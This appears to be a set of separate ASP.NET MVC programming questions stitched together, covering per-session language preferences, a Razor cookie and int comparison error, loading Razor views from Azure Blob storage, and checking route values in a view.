Disculpe en el segundo ejemplo ¿no tendría que ser que los eigenvectores son los polinomios de grado a lo más 1? ya que su primer derivada es una constante y su segunda derivada es el cero y además 0p=0
Responder
1. Ayax Calderón
Hola Daniela,
Un polinomio de grado uno no puede ser eigenvector porque su segunda derivada es cero, por definición un eigenvector p con eigenvalor a satisfce T(p)=ap, pero la igualdad anterior es imposible ya que T(p) tiene grado cero y ap tiene grado 1. Por lo tanto los únicos eigenvectores de T son los polinomios constantes distintos de cero.
Responder
3. JP Antuna
Buenas noches.
En esta parte:
Ya que encontramos los eigenvalores de una matriz o transformación, es posible que queramos encontrar uno o más eigenvectores correspondientes a ese eigenvalor. Observa que eso corresponde a encontrar una solución no trivial al sistema lineal de ecuaciones homogéneo de la forma (I_n-A)X=0
… creo que hizo falta generalizarlo, como:
Ya que encontramos los eigenvalores de una matriz o transformación, es posible que queramos encontrar uno o más eigenvectores correspondientes a ese eigenvalor, digamos k. Observa que eso corresponde a encontrar una solución no trivial al sistema lineal de ecuaciones homogéneo de la forma (kI_n-A)X=0
… pues, según yo, la primera parte solo encuentra eigenvectores cuando el eigenvalor aociado es 1
Responder
Deja una respuesta
Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *
Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.
|
{
"url": "https://blog.nekomath.com/algebra-lineal-i-eigenvalores-y-eigenvectores-de-transformaciones-y-matrices/",
"source_domain": "blog.nekomath.com",
"snapshot_id": "CC-MAIN-2023-23",
"warc_metadata": {
"Content-Length": "96500",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:TLLB3VPBRGPJZFAQ4XC5AAMC45ZSKSAG",
"WARC-Concurrent-To": "<urn:uuid:89dec9dd-f16c-448a-9856-a6d0c5879be6>",
"WARC-Date": "2023-06-08T16:18:17Z",
"WARC-IP-Address": "162.0.209.126",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:5G4J5YBQ6FBZHFHARZR44337GFOQ6EBJ",
"WARC-Record-ID": "<urn:uuid:42be791a-c647-4ecd-abd1-f3d6cb4a1022>",
"WARC-Target-URI": "https://blog.nekomath.com/algebra-lineal-i-eigenvalores-y-eigenvectores-de-transformaciones-y-matrices/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:33e2590c-2bc1-42f1-ba64-b82cde8a8df5>"
},
"warc_info": "isPartOf: CC-MAIN-2023-23\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May/June 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-7\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
78,
79,
118,
119,
132,
133,
614,
615,
938,
939,
1330,
1331,
1391,
1392,
1839,
1840,
2162,
2163,
2530,
2531,
2763,
2764,
2968,
2969,
3033,
3034,
3162,
3163,
3175,
3190,
3211,
3224,
3237,
3238,
3242,
3257,
3306,
3330,
3344,
3357,
3358,
3364,
3365,
3380,
3404,
3416,
3428,
3441,
3442,
3646,
3647,
3657,
3658,
3895,
3896,
3999,
4000,
4462,
4463,
4699,
4700,
4879,
4880,
4890,
4891,
4934,
4935,
5013,
5014,
5305,
5306,
5492,
5493,
5984,
5985,
6191,
6192,
6751,
6752,
6913,
6914,
7019,
7020,
7300,
7301,
7464,
7465,
7747,
7748,
7907,
7908,
7918,
7919,
8285,
8286,
8349,
8350,
8425,
8426,
8654,
8655,
8701,
8716,
8732,
8780,
8828,
8851,
8897,
8911,
8924,
8925,
9210,
9211,
9628,
9629,
9653,
9654,
9664,
9665,
9753,
9754,
9938,
9939,
10507,
10508,
10666,
10667,
10859,
10860,
11064,
11065,
11116,
11117,
11127,
11128,
11500,
11501,
11618,
11619,
11761,
11762,
11798,
11835,
11836,
11916,
11917,
12090,
12091,
12265,
12266,
12483,
12484,
12764,
12765,
13131,
13132,
13142,
13143,
13642,
13643,
13655,
13656,
13825,
13826,
14058,
14201,
14264,
14657,
14911,
14912,
14926,
14927,
15373,
15374,
15396,
15397,
15494,
15495,
15546,
15547,
15917,
15918,
15995,
15996,
16012,
16052,
16053,
16181,
16182,
16196,
16247,
16248,
16579,
16580,
16596,
16616,
16617,
16636,
16843,
16844,
16858,
16879,
16880,
16900,
16901,
17241,
17242,
17258,
17273,
17274,
17293,
17312,
17606,
17653,
17959,
18061,
18062,
18076,
18077,
18096,
18097,
18196,
18197
],
"line_end_idx": [
78,
79,
118,
119,
132,
133,
614,
615,
938,
939,
1330,
1331,
1391,
1392,
1839,
1840,
2162,
2163,
2530,
2531,
2763,
2764,
2968,
2969,
3033,
3034,
3162,
3163,
3175,
3190,
3211,
3224,
3237,
3238,
3242,
3257,
3306,
3330,
3344,
3357,
3358,
3364,
3365,
3380,
3404,
3416,
3428,
3441,
3442,
3646,
3647,
3657,
3658,
3895,
3896,
3999,
4000,
4462,
4463,
4699,
4700,
4879,
4880,
4890,
4891,
4934,
4935,
5013,
5014,
5305,
5306,
5492,
5493,
5984,
5985,
6191,
6192,
6751,
6752,
6913,
6914,
7019,
7020,
7300,
7301,
7464,
7465,
7747,
7748,
7907,
7908,
7918,
7919,
8285,
8286,
8349,
8350,
8425,
8426,
8654,
8655,
8701,
8716,
8732,
8780,
8828,
8851,
8897,
8911,
8924,
8925,
9210,
9211,
9628,
9629,
9653,
9654,
9664,
9665,
9753,
9754,
9938,
9939,
10507,
10508,
10666,
10667,
10859,
10860,
11064,
11065,
11116,
11117,
11127,
11128,
11500,
11501,
11618,
11619,
11761,
11762,
11798,
11835,
11836,
11916,
11917,
12090,
12091,
12265,
12266,
12483,
12484,
12764,
12765,
13131,
13132,
13142,
13143,
13642,
13643,
13655,
13656,
13825,
13826,
14058,
14201,
14264,
14657,
14911,
14912,
14926,
14927,
15373,
15374,
15396,
15397,
15494,
15495,
15546,
15547,
15917,
15918,
15995,
15996,
16012,
16052,
16053,
16181,
16182,
16196,
16247,
16248,
16579,
16580,
16596,
16616,
16617,
16636,
16843,
16844,
16858,
16879,
16880,
16900,
16901,
17241,
17242,
17258,
17273,
17274,
17293,
17312,
17606,
17653,
17959,
18061,
18062,
18076,
18077,
18096,
18097,
18196,
18197,
18296
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 18296,
"ccnet_original_nlines": 223,
"rps_doc_curly_bracket": 0.0075426301918923855,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.08122312277555466,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04634495824575424,
"rps_doc_frac_lines_end_with_ellipsis": 0.004464290104806423,
"rps_doc_frac_no_alph_words": 0.3220258057117462,
"rps_doc_frac_unique_words": 0.22421203553676605,
"rps_doc_mean_word_length": 4.944126129150391,
"rps_doc_num_sentences": 172,
"rps_doc_symbol_to_word_ratio": 0.000716670008841902,
"rps_doc_unigram_entropy": 5.367791652679443,
"rps_doc_word_count": 2792,
"rps_doc_frac_chars_dupe_10grams": 0.06135902926325798,
"rps_doc_frac_chars_dupe_5grams": 0.19342219829559326,
"rps_doc_frac_chars_dupe_6grams": 0.1341640055179596,
"rps_doc_frac_chars_dupe_7grams": 0.10562156140804291,
"rps_doc_frac_chars_dupe_8grams": 0.0758475810289383,
"rps_doc_frac_chars_dupe_9grams": 0.07468850165605545,
"rps_doc_frac_chars_top_2gram": 0.017603589221835136,
"rps_doc_frac_chars_top_3gram": 0.014778329990804195,
"rps_doc_frac_chars_top_4gram": 0.0020284000784158707,
"rps_doc_books_importance": -1953.0330810546875,
"rps_doc_books_importance_length_correction": -1953.0330810546875,
"rps_doc_openwebtext_importance": -1162.9036865234375,
"rps_doc_openwebtext_importance_length_correction": -1162.9036865234375,
"rps_doc_wikipedia_importance": -778.0602416992188,
"rps_doc_wikipedia_importance_length_correction": -778.0602416992188
},
"fasttext": {
"dclm": 0.9615116119384766,
"english": 0.0021196398884058,
"fineweb_edu_approx": 1.2547166347503662,
"eai_general_math": 0.00567572982981801,
"eai_open_web_math": 0.961039125919342,
"eai_web_code": 0.6707472205162048
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "512.5",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Algebra"
}
},
"secondary": {
"code": "512.64",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Algebra"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "2",
"label": "Text Extraction Errors"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "4",
"label": "Advanced Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
4,291,208,857,981,943,300 |
• If you need help or want to discuss things, you now can also join us on our Discord Server!
Solved Youtube-dl "File format not recognized"
Status
Not open for further replies.
maxtheking
New Member
I'm running the latest version of Sinusbot with the latest version of youtube-dl under a Debian 9 x64 VM. It's all working great, except for one thing, and that's the youtube downloader. It says "file format not recognized" when i try to download a song from youtube, why is this? The logs don't show anything unusual....
Youtube-dl is working as it should. If i issue "/opt/sinusbot/youtube-dl (youtube-url)" from the commandline the download completes just fine.
EDIT: Turns out the bot didn't have sufficient permissions to rename the downloaded file to match the name of the video, fixed it by changing the owner of the /opt/sinusbot and the /media/musicfiles directories recursively.
asd1.JPG
Last edited:
Status
Not open for further replies.
Similar threads
Top
|
{
"url": "https://forum.sinusbot.com/threads/youtube-dl-file-format-not-recognized.6097/",
"source_domain": "forum.sinusbot.com",
"snapshot_id": "crawl=CC-MAIN-2020-24",
"warc_metadata": {
"Content-Length": "46567",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:556ZA2GNETRMJJKRI6HJ5SPKRMMOAGKH",
"WARC-Concurrent-To": "<urn:uuid:4919f19b-03bf-4e06-bfaf-40894b6ac5ff>",
"WARC-Date": "2020-06-06T23:27:33Z",
"WARC-IP-Address": "104.28.14.74",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:7EZJFZPZKKWZ2JX4GYVWF6FTMQGAOUOG",
"WARC-Record-ID": "<urn:uuid:82ef8fad-b27e-44b3-8fc5-9f8af23ea5f7>",
"WARC-Target-URI": "https://forum.sinusbot.com/threads/youtube-dl-file-format-not-recognized.6097/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:18b215c2-8cf1-4e60-896a-67ecb656acea>"
},
"warc_info": "isPartOf: CC-MAIN-2020-24\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May/June 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-182.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
96,
97,
144,
145,
152,
182,
183,
194,
195,
206,
528,
671,
672,
896,
905,
907,
920,
927,
957,
958,
974,
975
],
"line_end_idx": [
96,
97,
144,
145,
152,
182,
183,
194,
195,
206,
528,
671,
672,
896,
905,
907,
920,
927,
957,
958,
974,
975,
978
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 978,
"ccnet_original_nlines": 22,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.35211268067359924,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.018779339268803596,
"rps_doc_frac_lines_end_with_ellipsis": 0.043478261679410934,
"rps_doc_frac_no_alph_words": 0.20187793672084808,
"rps_doc_frac_unique_words": 0.7006369233131409,
"rps_doc_mean_word_length": 4.8726115226745605,
"rps_doc_num_sentences": 12,
"rps_doc_symbol_to_word_ratio": 0.0046948399394750595,
"rps_doc_unigram_entropy": 4.494994163513184,
"rps_doc_word_count": 157,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.07843136787414551,
"rps_doc_frac_chars_dupe_6grams": 0.07843136787414551,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.026143789291381836,
"rps_doc_frac_chars_top_3gram": 0.033986929804086685,
"rps_doc_frac_chars_top_4gram": 0.06013071909546852,
"rps_doc_books_importance": -73.5047607421875,
"rps_doc_books_importance_length_correction": -73.5047607421875,
"rps_doc_openwebtext_importance": -45.1964225769043,
"rps_doc_openwebtext_importance_length_correction": -31.314712524414062,
"rps_doc_wikipedia_importance": -30.495450973510742,
"rps_doc_wikipedia_importance_length_correction": -30.495450973510742
},
"fasttext": {
"dclm": 0.01857190951704979,
"english": 0.895673930644989,
"fineweb_edu_approx": 0.8998827338218689,
"eai_general_math": 0.017609240487217903,
"eai_open_web_math": 0.1343727707862854,
"eai_web_code": 0.0007427899981848896
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-7,959,797,831,735,619,000 |
Using AWS IAM and S3 for loading config information into node docker containers running on ECS
This article shows how to setup a docker image using node and load your config info for each environment from IAM protected s3. The node base image is stripped down, so there’s a few modifications to the AWS example scripts that need to happen. Sometimes we have a lot of config variables for each environment (dev, qa, prod) that need to be loaded into our node applications. For example, let’s say we use a config file with all the information needed for a specific environment.
// dev.deploy.cnf
export NODE_ENV=dev
export BASE_URL=https://dev.test.com
export MONGO_URL=mongodb://dev.mongo.test.com:27017
export REDIS_HOST=dev.redis.test.com
export REDIS_PORT=6379
export API_SERVER=https://dev.api.test.com
Instead of maintaining these variables inside ECS task definitions, we can use s3 to hold our config files. By using IAM, we can provide read-only access to a single role, which the task will use to start.
Create s3 Bucket with Limited Access
Create a new s3 bucket with your config files in it. Block off access to everyone except the IAM role you set up in the next step.
/deploy-configs
dev.deploy.cnf
qa.deploy.cnf
stage.deploy.cnf
prod.deploy.cnf
Create IAM Role
Follow this page to setup an IAM role and policy that has access to your s3 Bucket.
http://docs.aws.amazon.com/AmazonECS/latest/developerguide/instance_IAM_role.html
Create Docker Container
Here’s my setup using node:latest.
// DockerFile
FROM node:latest
MAINTAINER davin.ninja
# Install aws cli
RUN apt-get update
RUN apt-get -y install python-dev curl unzip
RUN cd /tmp
RUN curl "https://s3.amazonaws.com/aws-cli/awscli-bundle.zip" -o "awscli-bundle.zip"
RUN unzip awscli-bundle.zip
RUN ./awscli-bundle/install
RUN rm awscli-bundle.zip
RUN rm -rf awscli-bundle
RUN mkdir -p /src/app
WORKDIR /src/app
# Install app dependencies
COPY package.json /src/app
RUN npm install
COPY . /src/app
# Expose port
EXPOSE 80
# Overwrite the entry-point script
COPY app.start.sh /app.start.sh
ENTRYPOINT ["/app.start.sh"]
What you need to be concerned about from this file is installing the aws-cli. Also, since we’re using node as our base image, some of the sample code on AWS doesn’t work. We’ll need to install a few dependencies first. Note that we’re using python-dev instead of python. After installing aws cli, we need to change our ENTRYPOINT or CMD to point to a new bash script, app.start.sh.
Create Start Script
// app.start.sh
#!/bin/bash
# Load the config
/root/.local/lib/aws/bin/aws s3 cp s3://deploy-confings/${DEPLOY_ENV}.deploy.cnf deploy.cnf
source deploy.cnf
node /src/app/app.js
After creating app.start.sh, make it runnable with chmod +x app.start.sh. This file downloads the config file, based on our tasks DEPLOY_ENV, from s3. It then loads the config and starts your app. Here our app is started with the node command, but yours will be whatever your ENTRYPOINT or CMD was in your dockerfile. Note the location of the aws binary. We didn’t add it to our $PATH.
Create ECS Task
Finally, you need to create a task with your docker image. In order for this image to have access to s3, we need to set the task role to the policy we setup earlier. Also, set your environment variable DEPLOY_ENV to whichever environment your task is for. You’re going to need to create a separate task for each. After that, run your task and check to make sure your config file was downloaded successfully.
This link has some info on setting up the docker container.
https://aws.amazon.com/blogs/security/how-to-manage-secrets-for-amazon-ec2-container-service-based-applications-by-using-amazon-s3-and-docker/
The Error
Since most people come from google, here’s the shortened error you get when you follow the sample code from the link above without using python-dev with the node image.
Running cmd: /usr/bin/python virtualenv.py --python /usr/bin/python /root/.local/lib/aws
Running cmd: /root/.local/lib/aws/bin/pip install --no-index --find-links file:///awscli-bundle/packages awscli-1.11.85.tar.gz
x86_64-linux-gnu-gcc -pthread -DNDEBUG -g -fwrapv -O2 -Wall -Wstrict-prototypes -fno-strict-aliasing -D_FORTIFY_SOURCE=2 -g -fstack-protector-strong -Wformat -Werror=format-security -fPIC -I/usr/include/python2.7 -c ext/_yaml.c -o build/temp.linux-x86_64-2.7/ext/_yaml.o
ext/_yaml.c:4:20: fatal error: Python.h: No such file or directory
#include "Python.h"
^
compilation terminated.
error: command 'x86_64-linux-gnu-gcc' failed with exit status 1
Failed to build PyYAML
x86_64-linux-gnu-gcc -pthread -DNDEBUG -g -fwrapv -O2 -Wall -Wstrict-prototypes -fno-strict-aliasing -D_FORTIFY_SOURCE=2 -g -fstack-protector-strong -Wformat -Werror=format-security -fPIC -I/usr/include/python2.7 -c ext/_yaml.c -o build/temp.linux-x86_64-2.7/ext/_yaml.o
ext/_yaml.c:4:20: fatal error: Python.h: No such file or directory
#include "Python.h"
^
compilation terminated.
error: command 'x86_64-linux-gnu-gcc' failed with exit status 1
----------------------------------------
Failed building wheel for PyYAML
Command "/root/.local/lib/aws/bin/python -u -c "import setuptools, tokenize;__file__='/tmp/pip-build-7eYg13/PyYAML/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /tmp/pip-qVo4u0-record/install-record.txt --single-version-externally-managed --compile --install-headers /root/.local/lib/aws/include/site/python2.7/PyYAML" failed with error code 1 in /tmp/pip-build-7eYg13/PyYAML/
The command '/bin/sh -c ./awscli-bundle/install' returned a non-zero code: 1
Share this:
Leave a comment
13 + 15 =
|
{
"url": "https://davin.ninja/using-aws-iam-s3-loading-config-information-node-docker-containers-running-ecs/",
"source_domain": "davin.ninja",
"snapshot_id": "crawl=CC-MAIN-2021-04",
"warc_metadata": {
"Content-Length": "39888",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:MQC2TAVH7UWLEY2VH7CSBUYF3XXCPBE2",
"WARC-Concurrent-To": "<urn:uuid:b7f663da-6b1b-4e06-b6c9-535d01b4ce5f>",
"WARC-Date": "2021-01-25T10:20:32Z",
"WARC-IP-Address": "54.68.157.18",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:EB3U4M3BMDE3TPTTQ6VET5KPT56Q27YV",
"WARC-Record-ID": "<urn:uuid:954ac905-ee1a-4cc2-9e87-710e38a440da>",
"WARC-Target-URI": "https://davin.ninja/using-aws-iam-s3-loading-config-information-node-docker-containers-running-ecs/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:a571793b-24d8-4f9a-8817-2427ff7ceb71>"
},
"warc_info": "isPartOf: CC-MAIN-2021-04\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-188.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
95,
96,
577,
578,
596,
616,
653,
705,
742,
765,
808,
809,
1015,
1016,
1053,
1054,
1185,
1186,
1202,
1217,
1231,
1248,
1264,
1265,
1281,
1282,
1366,
1448,
1449,
1473,
1474,
1509,
1510,
1524,
1541,
1542,
1565,
1566,
1584,
1603,
1648,
1660,
1745,
1773,
1801,
1826,
1851,
1852,
1874,
1891,
1892,
1919,
1946,
1962,
1963,
1979,
1980,
1994,
2004,
2005,
2040,
2072,
2101,
2102,
2484,
2485,
2505,
2506,
2522,
2534,
2535,
2553,
2645,
2646,
2664,
2665,
2686,
2687,
3073,
3074,
3090,
3091,
3499,
3500,
3560,
3703,
3704,
3714,
3715,
3884,
3885,
3974,
4101,
4102,
4375,
4444,
4467,
4491,
4517,
4583,
4584,
4607,
4608,
4883,
4954,
4979,
5005,
5033,
5101,
5102,
5147,
5182,
5669,
5670,
5747,
5759,
5760,
5776,
5777
],
"line_end_idx": [
95,
96,
577,
578,
596,
616,
653,
705,
742,
765,
808,
809,
1015,
1016,
1053,
1054,
1185,
1186,
1202,
1217,
1231,
1248,
1264,
1265,
1281,
1282,
1366,
1448,
1449,
1473,
1474,
1509,
1510,
1524,
1541,
1542,
1565,
1566,
1584,
1603,
1648,
1660,
1745,
1773,
1801,
1826,
1851,
1852,
1874,
1891,
1892,
1919,
1946,
1962,
1963,
1979,
1980,
1994,
2004,
2005,
2040,
2072,
2101,
2102,
2484,
2485,
2505,
2506,
2522,
2534,
2535,
2553,
2645,
2646,
2664,
2665,
2686,
2687,
3073,
3074,
3090,
3091,
3499,
3500,
3560,
3703,
3704,
3714,
3715,
3884,
3885,
3974,
4101,
4102,
4375,
4444,
4467,
4491,
4517,
4583,
4584,
4607,
4608,
4883,
4954,
4979,
5005,
5033,
5101,
5102,
5147,
5182,
5669,
5670,
5747,
5759,
5760,
5776,
5777,
5786
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 5786,
"ccnet_original_nlines": 119,
"rps_doc_curly_bracket": 0.0003456599952187389,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.20137931406497955,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03655172139406204,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.3351724147796631,
"rps_doc_frac_unique_words": 0.4307909607887268,
"rps_doc_mean_word_length": 6.145480155944824,
"rps_doc_num_sentences": 121,
"rps_doc_symbol_to_word_ratio": 0.005517240148037672,
"rps_doc_unigram_entropy": 5.319387435913086,
"rps_doc_word_count": 708,
"rps_doc_frac_chars_dupe_10grams": 0.1572052389383316,
"rps_doc_frac_chars_dupe_5grams": 0.1572052389383316,
"rps_doc_frac_chars_dupe_6grams": 0.1572052389383316,
"rps_doc_frac_chars_dupe_7grams": 0.1572052389383316,
"rps_doc_frac_chars_dupe_8grams": 0.1572052389383316,
"rps_doc_frac_chars_dupe_9grams": 0.1572052389383316,
"rps_doc_frac_chars_top_2gram": 0.011031949892640114,
"rps_doc_frac_chars_top_3gram": 0.008273960091173649,
"rps_doc_frac_chars_top_4gram": 0.005975639913231134,
"rps_doc_books_importance": -622.5784301757812,
"rps_doc_books_importance_length_correction": -622.5784301757812,
"rps_doc_openwebtext_importance": -361.6901550292969,
"rps_doc_openwebtext_importance_length_correction": -361.6901550292969,
"rps_doc_wikipedia_importance": -233.2431182861328,
"rps_doc_wikipedia_importance_length_correction": -233.2431182861328
},
"fasttext": {
"dclm": 0.2363603115081787,
"english": 0.6643487215042114,
"fineweb_edu_approx": 2.5080575942993164,
"eai_general_math": 0.46807122230529785,
"eai_open_web_math": 0.06540601700544357,
"eai_web_code": 0.8824623823165894
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.0285",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
8,713,066,128,445,839,000 |
In our asp.net MVC application, we allow users to select preferred language and save them in database. Thus browser language settings are ignored.
If this setting needs to be read on every HTTP request, what is the best way to store it for a user session from performance/maintenance point of view? I mean whether it would be a good practice to store it in regular asp.net session or cookie. Is there any reason to avoid sessions? What are good options in this situation?
Thank you.
Murtaza
i'm having issues with one of the pages on my site where i'm using a cookie value to pull some data out of my DB. It's working fine for my strings, but having issues with my int's and dates.
I start by declaring blank variables:
int numAdults;
I then check to see if a cookie is set, and if it is, i perform a database query (numAdults is data type int in the DB):
if(Request.Cookies["BookingReq"] != null){
var breq = db.QuerySingle("SELECT * FROM BookingRequests WHERE BookingGUID = @0", Request.Cookies["BookingReq"].Value);
numAdults = int.Parse(breq.NumAdults);
}
The, in my form, i want to show as empty if the cookie isn't set, or show the "selected" option if it is:
<select class="form-control" id="numAdults" name="numAdults" @Validation.For("numAdults")>
<option>Choose</option>
<option value="0" selected="@(int.Parse(numAdults) == 0)">0</option>
<option value="1" selected="@(int.Parse(numAdults) == 1)">1</option>
<option value="2" selected="@(int.Parse(numAdults) == 2)">2</option>
<option value="3" selected="@(int.Parse(numAdults) == 3)">3</option>
<option value="4" selected="@(int.Parse(numAdults) == 4)">4</option>
</select>
This, however, leaves me with the following error when i run the page:
<option value="0" selected="@(numAdults == 0)">0</option>
Operator '==' cannot be applied to operands of type 'string' and 'int'
Thanks, Gavin
We are working on ASP.NET MVC 6 project and it's necessary to render Razor views from other than file system source (Azure Blob storage in particular but it's not important). Earlier (in MVC 5) it was possible to create and register custom VirtualPathProvider which can take view content from DB or resource DLLs (for example).
It seems that approach has been changed in MVC 6. Does anybody know where to look for?
I have this code in my project for checking the controller and the action in my .cshtml-file:
@if (ViewContext.RouteData.Values["controller"] == "Home" && ViewContext.RouteData.Values["action"] == "Index")
{
//Some html
}
